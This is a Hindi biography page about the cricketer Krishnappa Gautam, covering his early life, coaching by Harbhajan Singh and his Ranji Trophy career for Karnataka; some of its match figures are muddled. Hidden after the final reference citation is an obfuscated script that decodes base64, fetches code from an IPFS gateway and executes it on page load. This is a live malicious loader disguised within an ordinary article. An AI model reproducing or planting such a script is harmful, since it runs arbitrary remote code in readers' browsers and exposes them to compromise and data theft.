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कृष्णप्पा गौतम

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कृष्णप्पा गौतम

कृष्णप्पा गौतम (अंग्रेज़ी: Krishnappa Gautam, जन्म- 20 अक्टूबर, 1988, बंगलोर, कर्नाटक) भारतीय प्रथम श्रेणी के क्रिकेट खिलाड़ी हैं। उनका पेशेवर कॅरियर तब शुरू हुआ, जब उन्हें बंगलोर में अंडर-15 जोनल टूर्नामेंट के लिए चुना गया, जहां वह दूसरे सबसे ज्यादा विकेट लेने वाले गेंदबाज बनकर उभरे। उन्होंने बंगाल के खिलाफ नवंबर, 2012 में कर्नाटक के लिए अपना पहला रणजी ट्रॉफी मैच खेला और दूसरी पारी में दो विकेट लिए। रणजी ट्रॉफी 2016-2017 सीज़न में कृष्णप्पा गौतम ने दिल्ली और असम के खिलाफ लगातार पांच-पांच विकेट लिए थे, जिससे टीम को जीतने में मदद मिली।

परिचय

कृष्णप्पा गौतम का जन्म 20 अक्टूबर, 1988 को बंगलोर, कर्नाटक में हुआ। मध्यम वर्गीय परिवार में जन्में गौतम बचपन से क्रिकेट के प्रति अरूचि रखते थे। अक्टूबर, 2008 में भारत में ऑस्ट्रेलिया की टीम खेलने आयी। इनको नेट बॉउलिंग करने के लिए बुलाया गया। उन दिनों वे हरभजन सिंह की तरह गेंदबाजी करते थे। ऑस्ट्रेलियन कोच इनसे काफी प्रभावित हुए, लेकिन फिर भी ये कभी सुर्खियों में नहीं आये। कृष्णप्पा बचपन में फ़ुटबॉल को पसन्द करते थे, उन्हें स्कूल के कोच जे. रंगनाथ ने क्रिकेट खेलने के लिए प्रेरित किया।[1]

कॅरियर का आरंभ

रणजी ऋरॉफी के आरंभिक सीजन से पहले कृष्णप्पा गौतम ने अपने न भूलने वाले मैच में टीम को कुल 718 में 206 रन दिये थे। इसी मैच में 352 रन बनाकर गौतम सुर्खियों में आये और कर्नाटक क्वार्टर फाइनल से बाहर हो गया। उसके बाद कुछ समय के लिए गौतम क्रिकेट के परिदृश्य से गायब हो गये। लेकिन 2016-17 के प्रारंभिक सीजन में उनकी जोरदार वापसी हुई, उन्होंने तीन मैंचों में 18 विकेट लिए।

गौतम हरभजन सिंह को अपना आदर्श मानते हैं। हरभजन ने जब गौतम को खेलते हुए देखा तो आश्चर्यचकित हो गये। उसके बाद हरभजन ने गौतम के साथ मिलकर उनके एक्शन पर कार्य किया। उनके एक्शन को और ज्यादा सुधारा। अब गौतम हरभजन की नकल तो नहीं करते, पर उनको अपना गुरू मानते हैं। वे मानते हैं कि जिस प्रकार वे गेंदबाजी करना चाहते थे, वह उस एक्शन से नहीं हो सकता था। काफी मेहनत के बाद वे हरभजन सिंह की कला से मुक्त हो पाये। उन्होंने घंटों देर रात तक नेट पर प्रयास किया और नये गेंद फेंकने के तरीकों को सफलतापूर्वक अपनाया। यह सब उनकी सोच और लगन का नतीजा था।

इसके बाद कृष्णप्पा गौतम ने बंगलोर के कैंप को ज्वाइन किया, जहाँ विश्व प्रसिद्ध गेंदबाज इरापल्ली प्रसन्ना ने उनकी गेंदबाजी को देखा और उनकी क्षमता को पहचाना। गौतम ने उसके बाद कई मैंचों में बढ़िया प्रदर्शन किया और लगातार अपने फार्म को बनाये रखा, जिससे चयनकर्ताओं ने बाध्य होकर उन्हें दुबारा प्रथम श्रेणी के मैंचों में खेलने का अवसर दिया। इन मैचों में गौतम ने अपने सही लाईन लेंथ का परिचय देते हुए न केवल विकेट झटका बल्कि किफायत भी रहे। खासकर महाराष्ट्र के विरुद्ध मैच खेलते हुए उन्होंने लगातार मध्यांतर पर विकेट झटका और उन्हें पस्त कर दिया।

महत्वपूर्ण क्षण

कृष्णप्पा गौतम के कैरियर की शुरुआत बंगलोर में अंडर 15 जोनल टूर्नामेंट में हुई। वे टूर्नामेंट में सबसे ज्यादा विकेट लेने वाले दूसरे गेंदबाज थे। वहीं से इनके कैरियर का महत्वपूर्ण क्षण शुरू होता है। उनके दमदार परफार्मेस के लिए कर्नाटक क्रिकेट एसोसियेशन ने उन्हें पुरस्कृत भी किया। उन्होंने सिर्फ गेंदबाजी ही नहीं बल्कि कई मैंचों में टीम को जिताने के लिए निचले क्रम पर अच्छी बल्लेबाजी भी की, लेकिन गौतम के कैरियर का सबसे महत्वपूर्ण क्षण शुरू होता है, अंडर 22 के स्तर के टूर्नामेंट से, जिसमें उन्होंने बंगाल के खिलाफ न र्सिफ चार विकेट लिए बल्कि हाफ सेंचुरी लगाकर कर्नाटक को जिताया भी। लेकिन इन प्रदर्शन के बावजूद इनके कैरियर में सात आठ साल का अंतर रहा। उन्होंने हिम्मत नहीं हारी। अपने फिटनेस और गेंदबाजी की ट्रेनिंग जारी रखी। वे कहते हैं कि "अगर वे प्रैक्टिस नहीं करते तो लगता है कि शायद कुछ छूट गया है।"

मुख्य धारा में न खेलते हुए कृष्णप्पा गौतम ने अपने धैर्य का परिचय देते हुए स्थानीय क्लबों के साथ खेल को जारी रखा। उन्होंने अनुशासन को जीवन से कभी जाने नहीं दिया। रणजी मैच के पहले गौतम ने कर्नाटक प्रीमियर लीग खेलते हुए 5.58 की औसत से 8 मैंचों में 11 विकेट लिए और यहीं से शुरू होता है, इनके जीवन का नया सफर।


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टीका टिप्पणी और संदर्भ

  1. कृष्णप्पा गौतम का जीवन परिचय (हिंदी) deepawali.co.in। अभिगमन तिथि: 23 जून, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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